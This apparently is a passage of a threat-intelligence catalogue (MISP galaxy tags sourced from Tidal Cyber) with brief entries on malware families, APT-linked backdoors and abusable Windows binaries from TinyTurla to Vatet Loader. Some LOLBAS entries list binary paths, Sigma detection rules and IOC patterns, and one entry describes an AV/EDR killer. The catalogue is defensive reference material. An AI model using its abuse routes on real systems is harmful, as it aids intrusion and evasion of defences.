The tag is: *misp-galaxy:software="TinyShell"*

TinyTurla

[TinyTurla](https://app.tidalcyber.com/software/39f0371c-b755-4655-a97e-82a572f2fae4) is a backdoor that has been used by [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) against targets in the US, Germany, and Afghanistan since at least 2020.^{[[Talos TinyTurla September 2021](https://app.tidalcyber.com/references/94cdbd73-a31a-4ec3-aa36-de3ea077c1c7)]}

The tag is: *misp-galaxy:software="TinyTurla"*

TINYTYPHON

[TINYTYPHON](https://app.tidalcyber.com/software/0e009cb8-848e-427a-9581-d3a4fd9f6a87) is a backdoor that has been used by the actors responsible for the MONSOON campaign. The majority of its code was reportedly taken from the MyDoom worm. ^{[[Forcepoint Monsoon](https://app.tidalcyber.com/references/ea64a3a5-a248-44bb-98cd-f7e3d4c23d4e)]}

The tag is: *misp-galaxy:software="TINYTYPHON"*

TinyZBot

[TinyZBot](https://app.tidalcyber.com/software/277290fe-51f3-4822-bb46-8b69fd1c8ae5) is a bot written in C# that was developed by [Cleaver](https://app.tidalcyber.com/groups/c8cc6ce8-d421-42e6-a6eb-2ea9d2d9ab07). ^{[[Cylance Cleaver](https://app.tidalcyber.com/references/f0b45225-3ec3-406f-bd74-87f24003761b)]}

The tag is: *misp-galaxy:software="TinyZBot"*

TODDLERSHARK

This object represents a collection of MITRE ATT&CK® Techniques and other objects related to the subject threat. Further contextual details are provided via the sources in the References tab below and any associated Tags.

The tag is: *misp-galaxy:software="TODDLERSHARK"*

Tomiris

[Tomiris](https://app.tidalcyber.com/software/eff417ad-c775-4a95-9f36-a1b5a675ba82) is a backdoor written in Go that continuously queries its C2 server for executables to download and execute on a victim system. It was first reported in September 2021 during an investigation of a successful DNS hijacking campaign against a Commonwealth of Independent States (CIS) member. Security researchers assess there are similarities between [Tomiris](https://app.tidalcyber.com/software/eff417ad-c775-4a95-9f36-a1b5a675ba82) and [GoldMax]([Kaspersky Tomiris Sep 2021 (https://app.tidalcyber.com/references/a881a7e4-a1df-4ad2-b67f-ef03caddb721)]</sup>

The tag is: *misp-galaxy:software="Tomiris"*

Tor

[Tor](https://app.tidalcyber.com/software/8c70d85b-b06d-423c-8bab-ecff18f332d6) is a software suite and network that provides increased anonymity on the Internet. It creates a multi-hop proxy network and utilizes multilayer encryption to protect both the message and routing information. [Tor](https://app.tidalcyber.com/software/8c70d85b-b06d-423c-8bab-ecff18f332d6) utilizes "Onion Routing," in which messages are encrypted with multiple layers of encryption; at each step in the proxy network, the topmost layer is decrypted and the contents forwarded on to the next node until it reaches its destination. ^{[[Dingledine Tor The Second-Generation Onion Router](https://app.tidalcyber.com/references/ffb6a26d-2da9-4cce-bb2d-5280e9cc16b4)]}

The tag is: *misp-galaxy:software="Tor"*

Torisma

[Torisma](https://app.tidalcyber.com/software/4bce135b-91ba-45ae-88f9-09e01f983a74) is a second stage implant designed for specialized monitoring that has been used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08). [Torisma](https://app.tidalcyber.com/software/4bce135b-91ba-45ae-88f9-09e01f983a74) was discovered during an investigation into the 2020 Operation North Star campaign that targeted the defense sector.^{[[McAfee Lazarus Nov 2020](https://app.tidalcyber.com/references/a283d229-3a2a-43ef-bcbe-aa6d41098b51)]}

The tag is: *misp-galaxy:software="Torisma"*

touch

In computing, touch is a command used to update the access date and/or modification date of a computer file or directory.^{[[Wikimedia Foundation Inc. January 15 2004](/references/57904909-0aa2-4758-b61b-8a4593c635b0)]}

The tag is: *misp-galaxy:software="touch"*

TOUGHPROGRESS

A malware used by APT41 for command and control (C2) via Google Calendar, employing multiple obfuscation techniques and targeting Windows hosts.^{[[Google Cloud May 28 2025](/references/def3e3dd-8136-4714-a58f-ffbd00066dc0)]}

The tag is: *misp-galaxy:software="TOUGHPROGRESS"*

Tox

Tox is a open-source global instant messaging service that is being utilized by threat actors and other users for both malicious and benign purposes. It has various functionalities such as screen sharing, file sharing, Instant messaging, peer-to-peer network, end-to-end network, voice and video calling. This tool can be misused by threat actors for achieving their objectives.^{[[Tox Homepage](/references/943cf346-e967-42de-85de-d9bb2b7ed504)]}

The tag is: *misp-galaxy:software="Tox"*

Tracker

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Tool included with Microsoft .Net Framework.

Author: Oddvar Moe

Paths: * no default

Resources: * https://twitter.com/subTee/status/793151392185589760 * https://attack.mitre.org/wiki/Execution

Detection: * Sigma: [proc_creation_win_lolbin_tracker.yml]([LOLBAS Tracker](/references/f0e368f1-3347-41ef-91fb-995c3cb07707)]</sup>

The tag is: *misp-galaxy:software="Tracker"*

TrailBlazer

[TrailBlazer](https://app.tidalcyber.com/software/7a6ae9f8-5f8b-4e94-8716-d8ee82027197) is a modular malware that has been used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least 2019.^{[[CrowdStrike StellarParticle January 2022](https://app.tidalcyber.com/references/149c1446-d6a1-4a63-9420-def9272d6cb9)]}

The tag is: *misp-galaxy:software="TrailBlazer"*

TRANSLATEXT

[TRANSLATEXT](https://app.tidalcyber.com/software/6517296a-ec11-57c0-881c-6b62239ede92) is malware that is believed to be used by [Kimsuky]([Zscaler Kimsuky TRANSLATEXT (https://app.tidalcyber.com/references/7ee5dc4e-1c53-5f12-806d-37b290c6f569)]</sup> [TRANSLATEXT](https://app.tidalcyber.com/software/6517296a-ec11-57c0-881c-6b62239ede92) masqueraded as a Google Translate extension for Google Chrome, but is actually a collection of four malicious Javascript files that perform defense evasion, information collection and exfiltration.^{[[Zscaler Kimsuky TRANSLATEXT](https://app.tidalcyber.com/references/7ee5dc4e-1c53-5f12-806d-37b290c6f569)]}

The tag is: *misp-galaxy:software="TRANSLATEXT"*

TrickBot

[TrickBot](https://app.tidalcyber.com/software/c2bd4213-fc7b-474f-b5a0-28145b07c51d) is a Trojan spyware program written in C++ that first emerged in September 2016 as a possible successor to [Dyre](https://app.tidalcyber.com/software/38e012f7-fb3a-4250-a129-92da3a488724). [TrickBot](https://app.tidalcyber.com/software/c2bd4213-fc7b-474f-b5a0-28145b07c51d) was developed and initially used by [Wizard Spider](https://app.tidalcyber.com/groups/0b431229-036f-4157-a1da-ff16dfc095f8) for targeting banking sites in North America, Australia, and throughout Europe; it has since been used against all sectors worldwide as part of "big game hunting" ransomware campaigns.^{[[S2 Grupo TrickBot June 2017](https://app.tidalcyber.com/references/28faff77-3e68-4f5c-974d-dc7c9d06ce5e)]}^{[[Fidelis TrickBot Oct 2016](https://app.tidalcyber.com/references/839c02d1-58ec-4e25-a981-0276dbb1acc8)]}^{[[IBM TrickBot Nov 2016](https://app.tidalcyber.com/references/092aec63-aea0-4bc9-9c05-add89b4233ff)]}^{[[CrowdStrike Wizard Spider October 2020](https://app.tidalcyber.com/references/5c8d67ea-63bc-4765-b6f6-49fa5210abe6)]}

The tag is: *misp-galaxy:software="TrickBot"*

Trojan.Karagany

[Trojan.Karagany](https://app.tidalcyber.com/software/b88c4891-40da-4832-ba42-6c6acd455bd1) is a modular remote access tool used for recon and linked to [Dragonfly](https://app.tidalcyber.com/groups/472080b0-e3d4-4546-9272-c4359fe856e1). The source code for [Trojan.Karagany](https://app.tidalcyber.com/software/b88c4891-40da-4832-ba42-6c6acd455bd1) originated from Dream Loader malware which was leaked in 2010 and sold on underground forums. ^{[[Symantec Dragonfly](https://app.tidalcyber.com/references/9514c5cd-2ed6-4dbf-aa9e-1c425e969226)]}^{[[Secureworks Karagany July 2019](https://app.tidalcyber.com/references/61c05edf-24aa-4399-8cdf-01d27f6595a1)]}^{[[Dragos DYMALLOY](https://app.tidalcyber.com/references/d2785c6e-e0d1-4e90-a2d5-2c302176d5d3)]}

The tag is: *misp-galaxy:software="Trojan.Karagany"*

Trojan.Mebromi

[Trojan.Mebromi](https://app.tidalcyber.com/software/f8a4213d-633b-4e3d-8e59-a769e852b93b) is BIOS-level malware that takes control of the victim before MBR. ^{[[Ge 2011](https://app.tidalcyber.com/references/dd6032fb-8913-4593-81b9-86d1239e01f4)]}

The tag is: *misp-galaxy:software="Trojan.Mebromi"*

Troll Stealer

[Troll Stealer](https://app.tidalcyber.com/software/9d4c38dc-6549-5bde-9ce4-a54ae8ca596e) is an information stealer written in Go associated with [Kimsuky](https://app.tidalcyber.com/groups/37f317d8-02f0-43d4-8a7d-7a65ce8aadf1) operations. [Troll Stealer](https://app.tidalcyber.com/software/9d4c38dc-6549-5bde-9ce4-a54ae8ca596e) has typically been delivered through a dropper disguised as a legitimate security program installation file. [Troll Stealer](https://app.tidalcyber.com/software/9d4c38dc-6549-5bde-9ce4-a54ae8ca596e) features code similar to [AppleSeed](https://app.tidalcyber.com/software/9df2e42e-b454-46ea-b50d-2f7d999f3d42), also uniquely associated with [Kimsuky](https://app.tidalcyber.com/groups/37f317d8-02f0-43d4-8a7d-7a65ce8aadf1) operations.^{[[S2W Troll Stealer 2024](https://app.tidalcyber.com/references/5fbb0dcb-c882-597f-ade8-4b8afb8b55a8)]}^{[[Symantec Troll Stealer 2024](https://app.tidalcyber.com/references/ebb98b4b-062a-5b48-8318-e5f1244f907c)]}

The tag is: *misp-galaxy:software="Troll Stealer"*

Truebot

Truebot is a botnet often used as a loader for other malware. In July 2023, U.S. authorities released joint Cybersecurity Advisory AA23-187A, which detailed increased observations of new Truebot variants infecting organizations in the United States and Canada. Authorities assessed that Truebot infections are primarily motivated around collection and exfiltration of sensitive victim data for financial gain. Officials also assessed that actors were using both spearphishing emails containing malicious hyperlinks and exploitation of CVE-2022-31199 (a vulnerability in the IT auditing application Netwrix Auditor) to deliver Truebot during these attacks. Additional tools associated with the attacks included Raspberry Robin for initial infections; FlawedGrace and Cobalt Strike for various post-exploitation activities; and Teleport, a custom tool for data exfiltration.^{[[U.S. CISA Increased Truebot Activity July 6 2023](/references/6f9b8f72-c55f-4268-903e-1f8a82efa5bb)]}

Malpedia (Research): https://malpedia.caad.fkie.fraunhofer.de/details/win.silence

Malware Bazaar (Samples & IOCs): https://bazaar.abuse.ch/browse/tag/truebot/

PulseDive (IOCs): https://pulsedive.com/threat/Truebot

The tag is: *misp-galaxy:software="Truebot"*

TrueSightKiller

TrueSightKiller is a CPP AV/EDR Killer. This driver can be used in Windows 23H2 with HVCI enabled, loldrivers blocklist, or WDAC enabled. HVCI is designed to ensure the integrity of code executed in the kernel, but it cannot protect against all possible vulnerabilities or actions that can be performed through drivers or system interfaces.^{[[GitHub November 27 2023](/references/fe54e066-d88d-4df4-af50-bc03e0683ae6)]}

The tag is: *misp-galaxy:software="TrueSightKiller"*

Truvasys

[Truvasys](https://app.tidalcyber.com/software/50844dba-8999-42ba-ba29-511e3faf4bc3) is first-stage malware that has been used by [PROMETHIUM](https://app.tidalcyber.com/groups/cc798766-8662-4b55-8536-6d057fbc58f0). It is a collection of modules written in the Delphi programming language. ^{[[Microsoft Win Defender Truvasys Sep 2017](https://app.tidalcyber.com/references/3c8ba6ef-8edc-44bf-9abe-655ba0f45912)]} ^{[[Microsoft NEODYMIUM Dec 2016](https://app.tidalcyber.com/references/87c9f8e4-f8d1-4f19-86ca-6fd18a33890b)]} ^{[[Microsoft SIR Vol 21](https://app.tidalcyber.com/references/619b9cf8-7201-45de-9c36-834ccee356a9)]}

The tag is: *misp-galaxy:software="Truvasys"*

TSCookie

[TSCookie](https://app.tidalcyber.com/software/9872ab5a-c76e-4404-91f9-5b745722443b) is a remote access tool (RAT) that has been used by [BlackTech](https://app.tidalcyber.com/groups/528ab2ea-b8f1-44d8-8831-2a89fefd97cb) in campaigns against Japanese targets.^{[[JPCert TSCookie March 2018](https://app.tidalcyber.com/references/ff1717f7-0d2e-4947-87d7-44576affe9f8)]}^{[[JPCert BlackTech Malware September 2019](https://app.tidalcyber.com/references/26f44bde-f723-4854-8acc-3d95e5fa764a)]}. [TSCookie](https://app.tidalcyber.com/software/9872ab5a-c76e-4404-91f9-5b745722443b) has been referred to as [PLEAD](https://app.tidalcyber.com/software/9a890a85-afbe-4c35-a3e7-1adad481bdf7) though more recent reporting indicates a separation between the two.^{[[JPCert PLEAD Downloader June 2018](https://app.tidalcyber.com/references/871f4af2-ed99-4256-a74d-b8c0816a82ab)]}^{[[JPCert BlackTech Malware September 2019](https://app.tidalcyber.com/references/26f44bde-f723-4854-8acc-3d95e5fa764a)]}

The tag is: *misp-galaxy:software="TSCookie"*

TShark

TShark is a network protocol analyzer utility.

The tag is: *misp-galaxy:software="TShark"*

Ttdinject

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by Windows 1809 and newer to Debug Time Travel (Underlying call of tttracer.exe)

Author: Maxime Nadeau

Paths: * C:\Windows\System32\ttdinject.exe * C:\Windows\Syswow64\ttdinject.exe

Resources: * https://twitter.com/Oddvarmoe/status/1196333160470138880

Detection: * Sigma: [create_remote_thread_win_ttdinjec.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/create_remote_thread/create_remote_thread_win_ttdinjec.yml) * Sigma: [proc_creation_win_lolbin_ttdinject.yml](https://github.com/SigmaHQ/sigma/blob/7ea6ed3db65e0bd812b051d9bb4fffd27c4c4d0a/rules/windows/process_creation/proc_creation_win_lolbin_ttdinject.yml) * IOC: Parent child relationship. Ttdinject.exe parent for executed command * IOC: Multiple queries made to the IFEO registry key of an untrusted executable (Ex. "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\payload.exe") from the ttdinject.exe process^{[[Ttdinject.exe - LOLBAS Project](/references/3146c9c9-9836-4ce5-afe6-ef8f7b4a7b9d)]}

The tag is: *misp-galaxy:software="Ttdinject"*

Tttracer

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Used by Windows 1809 and newer to Debug Time Travel

Author: Oddvar Moe

Paths: * C:\Windows\System32\tttracer.exe * C:\Windows\SysWOW64\tttracer.exe

Resources: * https://twitter.com/oulusoyum/status/1191329746069655553 * https://twitter.com/mattifestation/status/1196390321783025666 * https://lists.samba.org/archive/cifs-protocol/2016-April/002877.html

Detection: * Sigma: [proc_creation_win_lolbin_tttracer_mod_load.yml](https://github.com/

SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/process_creation/proc_creation_win_lolbin_tttracer_mod_load.yml) * Sigma: [image_load_tttracer_mod_load.yml](https://github.com/SigmaHQ/sigma/blob/683b63f8184b93c9564c4310d10c571cbe367e1e/rules/windows/image_load/image_load_tttracer_mod_load.yml) * Elastic: [credential_access_cmdline_dump_tool.toml](https://github.com/elastic/detection-rules/blob/5bdf70e72c6cd4547624c521108189af994af449/rules/windows/credential_access_cmdline_dump_tool.toml) * IOC: Parent child relationship. Tttracer parent for executed command^{[[Tttracer.exe - LOLBAS Project](/references/7c88a77e-034e-4847-8bd7-1be3a684a158)]}

The tag is: *misp-galaxy:software="Tttracer"*

Turian

[Turian](https://app.tidalcyber.com/software/571a45a7-68c9-452c-99bf-1d5b5fdd08b3) is a backdoor that has been used by [BackdoorDiplomacy](https://app.tidalcyber.com/groups/e5b0da2b-12bc-4113-9459-9c51329c9ae0) to target Ministries of Foreign Affairs, telecommunication companies, and charities in Africa, Europe, the Middle East, and Asia. First reported in 2021, [Turian](https://app.tidalcyber.com/software/571a45a7-68c9-452c-99bf-1d5b5fdd08b3) is likely related to Quarian, an older backdoor that was last observed being used in 2013 against diplomatic targets in Syria and the United States.^{[[ESET BackdoorDiplomacy Jun 2021](https://app.tidalcyber.com/references/127d4b10-8d61-4bdf-b5b9-7d86bbc065b6)]}

The tag is: *misp-galaxy:software="Turian"*

TURNEDUP

[TURNEDUP](https://app.tidalcyber.com/software/c7f10715-cf13-4360-8511-aa3f93dd7688) is a non-public backdoor. It has been dropped by [APT33](https://app.tidalcyber.com/groups/99bbbe25-45af-492f-a7ff-7cbc57828bac)'s [StoneDrill](https://app.tidalcyber.com/software/9eee52a2-5ac1-4561-826c-23ec7fbc7876) malware. ^{[[FireEye APT33 Sept 2017](https://app.tidalcyber.com/references/70610469-db0d-45ab-a790-6e56309a39ec)]} ^{[[FireEye APT33 Webinar Sept 2017](https://app.tidalcyber.com/references/9b378592-5737-403d-8a07-27077f5b2d61)]}

The tag is: *misp-galaxy:software="TURNEDUP"*

TYPEFRAME

[TYPEFRAME](https://app.tidalcyber.com/software/6c93d3c4-cae5-48a9-948d-bc5264230316) is a remote access tool that has been used by [Lazarus Group](https://app.tidalcyber.com/groups/0bc66e95-de93-4de7-b415-4041b7191f08). ^{[[US-CERT TYPEFRAME June 2018](https://app.tidalcyber.com/references/b89f20ad-39c4-480f-b02e-20f4e71f6b95)]}

The tag is: *misp-galaxy:software="TYPEFRAME"*

UACMe

[UACMe](https://app.tidalcyber.com/software/5788edee-d1b7-4406-9122-bee596362236) is an open source assessment tool that contains many methods for bypassing Windows User Account Control on multiple versions of the operating system. ^{[[Github UACMe](https://app.tidalcyber.com/references/7006d59d-3b61-4030-a680-5dac52133722)]}

The tag is: *misp-galaxy:software="UACMe"*

UBoatRAT

[UBoatRAT](https://app.tidalcyber.com/software/5214ae01-ccd5-4e97-8f9c-14eb16e75544) is a remote access tool that was identified in May 2017.^{[[PaloAlto UBoatRAT Nov 2017](https://app.tidalcyber.com/references/235a1129-2f35-4861-90b8-1f761d89b0f9)]}

The tag is: *misp-galaxy:software="UBoatRAT"*

Umbreon

A Linux rootkit that provides backdoor access and hides from defenders.

The tag is: *misp-galaxy:software="Umbreon"*

uname

uname is used to print system information.^{[[uname - Linux man page](/references/11356457-f1cb-45c7-91a0-391639117cff)]}

The tag is: *misp-galaxy:software="uname"*

Universal Virus Sniffer

Universal Virus Sniffer is a tool that can be used for impairing and evading an environment's defenses.^{[[U.S. CISA Phobos February 29 2024](/references/bd6f9bd3-22ec-42fc-9d85-fdc14dcfa55a)]}

The tag is: *misp-galaxy:software="Universal Virus Sniffer"*

Unknown Logger

[Unknown Logger](https://app.tidalcyber.com/software/846b3762-3949-4501-b781-6dca22db088f) is a publicly released, free backdoor. Version 1.5 of the backdoor has been used by the actors responsible for the MONSOON campaign. ^{[[Forcepoint Monsoon](https://app.tidalcyber.com/references/ea64a3a5-a248-44bb-98cd-f7e3d4c23d4e)]}

The tag is: *misp-galaxy:software="Unknown Logger"*

Unregmp2

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Microsoft Windows Media Player Setup Utility

Author: Wade Hickey

Paths: * C:\Windows\System32\unregmp2.exe * C:\Windows\SysWOW64\unregmp2.exe

Resources: * https://twitter.com/notwhickey/status/1466588365336293385

Detection: * Sigma: [proc_creation_win_lolbin_unregmp2.yml](https://github.com/SigmaHQ/sigma/blob/197615345b927682ab7ad7fa3c5f5bb2ed911eed/rules/windows/process_creation/proc_creation_win_lolbin_unregmp2.yml) * IOC: Low-prevalence binaries, with filename 'wmpnscfg.exe', spawned as child-processes of `unregmp2.exe /HideWMP`^{[[Unregmp2.exe - LOLBAS Project](/references/9ad11187-bf91-4205-98c7-c7b981e4ab6f)]}

The tag is: *misp-galaxy:software="Unregmp2"*

Update

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Binary to update the existing installed Nuget/squirrel package. Part of Microsoft Teams installation.

Author: Oddvar Moe

Paths: * %localappdata%\Microsoft\Teams\update.exe

Resources: * https://www.youtube.com/watch?v=rOP3hnkj7ls * https://twitter.com/reegun21/status/1144182772623269889 * https://twitter.com/MrUn1k0d3r/status/1143928885211537408 * https://twitter.com/reegun21/status/1291005287034281990 * http://www.hexacorn.com/blog/2018/08/16/squirrel-as-a-lolbin/ * https://medium.com/@reegun/nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-80c9df51cf12 * [https://medium.com/@reegun/update-nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56](https://medium.com/@reegun/update-

nuget-squirrel-uncontrolled-endpoints-leads-to-arbitrary-code-execution-b55295144b56) * https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/microsoft-teams-updater-living-off-the-land/

Detection: * Sigma: [proc_creation_win_lolbin_squirrel.yml](https://github.com/SigmaHQ/sigma/blob/6312dd1d44d309608552105c334948f793e89f48/rules/windows/process_creation/proc_creation_win_lolbin_squirrel.yml) * IOC: Update.exe spawned an unknown process^{[[Update.exe - LOLBAS Project](/references/2c85d5e5-2cb2-4af7-8c33-8aaac3360706)]}

The tag is: *misp-galaxy:software="Update"*

UPPERCUT

[UPPERCUT](https://app.tidalcyber.com/software/a3c211f8-52aa-4bfd-8382-940f2194af28) is a backdoor that has been used by [menuPass](https://app.tidalcyber.com/groups/fb93231d-2ae4-45da-9dea-4c372a11f322). ^{[[FireEye APT10 Sept 2018](https://app.tidalcyber.com/references/5f122a27-2137-4016-a482-d04106187594)]}

The tag is: *misp-galaxy:software="UPPERCUT"*

UPSTYLE

[UPSTYLE](https://app.tidalcyber.com/software/ce0e1ace-5cd7-55ab-848d-9cd449c7b02c) is a Python-based backdoor associated with exploitation of Palo Alto firewalls using CVE-2024-3400 in early 2024. [UPSTYLE](https://app.tidalcyber.com/software/ce0e1ace-5cd7-55ab-848d-9cd449c7b02c) has only been observed in relation to this exploitation activity, which involved attempted install on compromised devices by the threat actor UTA0218.^{[[Volexity UPSTYLE 2024](https://app.tidalcyber.com/references/2f5c6e28-ba86-537b-b71b-4a7625b8d41e)]}^{[[Palo Alto MidnightEclipse APR 2024](https://app.tidalcyber.com/references/3aafba02-9807-5977-8b42-ec02fd8dee5e)]}

The tag is: *misp-galaxy:software="UPSTYLE"*

UPX

UPX is free and open-source packer/file compressor software.^{[[GitHub upx upx](/references/1cb1ca95-772d-49b5-b7fc-5d4fb88fb399)]} It has been abused by adversaries such as the BianLian Ransomware Group to pack their malicious executables in an effort to evade detection.^{[[U.S. CISA BianLian Ransomware May 2023](/references/aa52e826-f292-41f6-985d-0282230c8948)]}

The tag is: *misp-galaxy:software="UPX"*

Url

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: Internet Shortcut Shell Extension DLL.

Author: LOLBAS Team

Paths: * c:\windows\system32\url.dll * c:\windows\syswow64\url.dll

Resources: * https://bohops.com/2018/03/17/abusing-exported-functions-and-exposed-dcom-interfaces-for-pass-thru-command-execution-and-lateral-movement/ * https://twitter.com/DissectMalware/status/995348436353470465 * https://twitter.com/bohops/status/974043815655956481 * https://twitter.com/yeyint_mth/status/997355558070927360 * https://twitter.com/Hexacorn/status/974063407321223168 * https://windows10dll.nirsoft.net/url_dll.html

Detection: * Sigma: [proc_creation_win_rundll32_susp_activity.yml]([Url.dll - LOLBAS Project(/references/0c88fb72-6be5-4a01-af1c-553650779253)]</sup>

The tag is: *misp-galaxy:software="Url"*

Uroburos

[Uroburos](https://app.tidalcyber.com/software/89ffc27c-b81f-473a-87d6-907cacdce61c) is a sophisticated cyber espionage tool written in C that has been used by units within Russia's Federal Security Service (FSB) associated with the [Turla](https://app.tidalcyber.com/groups/47ae4fb1-fc61-4e8e-9310-66dda706e1a2) toolset to collect intelligence on sensitive targets worldwide. [Uroburos](https://app.tidalcyber.com/software/89ffc27c-b81f-473a-87d6-907cacdce61c) has several variants and has undergone nearly constant upgrade since its initial development in 2003 to keep it viable after public disclosures. [Uroburos](https://app.tidalcyber.com/software/89ffc27c-b81f-473a-87d6-907cacdce61c) is typically deployed to external-facing nodes on a targeted network and has the ability to leverage additional tools and TTPs to further exploit an internal network. [Uroburos](https://app.tidalcyber.com/software/89ffc27c-b81f-473a-87d6-907cacdce61c) has interoperable implants for Windows, Linux, and macOS, employs a high level of stealth in communications and architecture, and can easily incorporate new or replacement components.^{[[Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023](https://app.tidalcyber.com/references/1931b80a-effb-59ec-acae-c0f17efb8cad)]}^{[[Kaspersky Turla](https://app.tidalcyber.com/references/535e9f1a-f89e-4766-a290-c5b8100968f8)]}

The tag is: *misp-galaxy:software="Uroburos"*

Ursnif

[Ursnif](https://app.tidalcyber.com/software/3e501609-87e4-4c47-bd88-5054be0f1037) is a banking trojan and variant of the Gozi malware observed being spread through various automated exploit kits, [Spearphishing Attachment](https://app.tidalcyber.com/technique/ba553ad4-5699-4458-ae4e-76e1faa43291)s, and malicious links.^{[[NJCCIC Ursnif Sept 2016](https://app.tidalcyber.com/references/d57a2efe-8c98-491e-aecd-e051241a1779)]}^{[[ProofPoint Ursnif Aug 2016](https://app.tidalcyber.com/references/4cef8c44-d440-4746-b3e8-c8e4d307273d)]} [Ursnif](https://app.tidalcyber.com/software/3e501609-87e4-4c47-bd88-5054be0f1037) is associated primarily with data theft, but variants also include components (backdoors, spyware, file injectors, etc.) capable of a wide variety of behaviors.^{[[TrendMicro Ursnif Mar 2015](https://app.tidalcyber.com/references/d02287df-9d93-4cbe-8e59-8f4ef3debc65)]}

The tag is: *misp-galaxy:software="Ursnif"*

USBferry

[USBferry](https://app.tidalcyber.com/software/26d93db8-dbc3-44b5-a393-2b219cef4f5b) is an information stealing malware and has been used by [Tropic Trooper](https://app.tidalcyber.com/groups/0a245c5e-c1a8-480f-8655-bb2594e3266b) in targeted attacks against Taiwanese and Philippine air-gapped military environments. [USBferry](https://app.tidalcyber.com/software/26d93db8-dbc3-44b5-a393-2b219cef4f5b) shares an overlapping codebase with [YAHOYAH](https://app.tidalcyber.com/software/0844bc42-5c29-47c3-b1b3-6bfffbf1732a), though it has several features which makes it a distinct piece of malware.^{[[TrendMicro Tropic Trooper May 2020](https://app.tidalcyber.com/references/4fbc1df0-f174-4461-817d-0baf6e947ba1)]}

The tag is: *misp-galaxy:software="USBferry"*

USBStealer

[USBStealer](https://app.tidalcyber.com/software/50eab018-8d52-46f5-8252-95942c2c0a89) is malware that has been used by [APT28](https://app.tidalcyber.com/groups/5b1a5b9e-4722-41fc-a15d-196a549e3ac5) since at least 2005 to extract information from air-gapped networks. It does not have the capability to communicate over the Internet and has been used in conjunction with [ADVSTORESHELL](https://app.tidalcyber.com/software/ef7f4f5f-6f30-4059-87d1-cd8375bf1bee). ^{[[ESET Sednit USBStealer 2014](https://app.tidalcyber.com/references/8673f7fc-5b23-432a-a2d8-700ece46bd0f)]} ^{[[Kaspersky Sofacy](https://app.tidalcyber.com/references/46226f98-c762-48e3-9bcd-19ff14184bb5)]}

The tag is: *misp-galaxy:software="USBStealer"*

UtilityFunctions

This object contains information sourced from the [Living Off The Land Binaries, Scripts and Libraries (LOLBAS)](https://github.com/LOLBAS-Project/LOLBAS) project, which is licensed under [GNU General Public License v3.0](https://github.com/LOLBAS-Project/LOLBAS/blob/master/LICENSE).

Description: PowerShell Diagnostic Script

Author: Jimmy (@bohops)

Paths: * C:\Windows\diagnostics\system\Networking\UtilityFunctions.ps1

Resources: * https://twitter.com/nickvangilder/status/1441003666274668546

Detection: * Sigma: [proc_creation_win_lolbas_utilityfunctions.yml]([UtilityFunctions.ps1 - LOLBAS Project(/references/8f15755b-2e32-420e-8463-497e3f8d8cfd)]</sup>

The tag is: *misp-galaxy:software="UtilityFunctions"*

Valak

[Valak](https://app.tidalcyber.com/software/b149f12f-3cf4-4547-841d-c63b7677547d) is a multi-stage modular malware that can function as a standalone information stealer or downloader, first observed in 2019 targeting enterprises in the US and Germany.^{[[Cybereason Valak May 2020](https://app.tidalcyber.com/references/235d1cf1-2413-4620-96cf-083d348410c2)]}^{[[Unit 42 Valak July 2020](https://app.tidalcyber.com/references/9a96da13-5795-49bc-ab82-dfd4f964d9d0)]}

The tag is: *misp-galaxy:software="Valak"*

VaporRage

[VaporRage](https://app.tidalcyber.com/software/63940761-8dea-4362-8795-7bc0653ce1d4) is a shellcode downloader that has been used by [APT29](https://app.tidalcyber.com/groups/4c3e48b9-4426-4271-a7af-c3dfad79f447) since at least 2021.^{[[MSTIC Nobelium Toolset May 2021](https://app.tidalcyber.com/references/52464e69-ff9e-4101-9596-dd0c6404bf76)]}

The tag is: *misp-galaxy:software="VaporRage"*

Vasport

[Vasport](https://app.tidalcyber.com/software/fe116518-cd0c-4b10-8190-4f57208df4e4) is a trojan used by [Elderwood](https://app.tidalcyber.com/groups/51146bb6-7478-44a3-8f08-19adcdceffca) to open a backdoor on compromised hosts. ^{[[Symantec Elderwood Sept 2012](https://app.tidalcyber.com/references/5e908748-d260-42f1-a599-ac38b4e22559)]} ^{[[Symantec Vasport May 2012](https://app.tidalcyber.com/references/2dc7d7fb-3d13-4647-b15b-5e501946d606)]}

The tag is: *misp-galaxy:software="Vasport"*

Vatet Loader

Vatet is a custom loader that executes XOR encoded shellcode from the local disk or a network

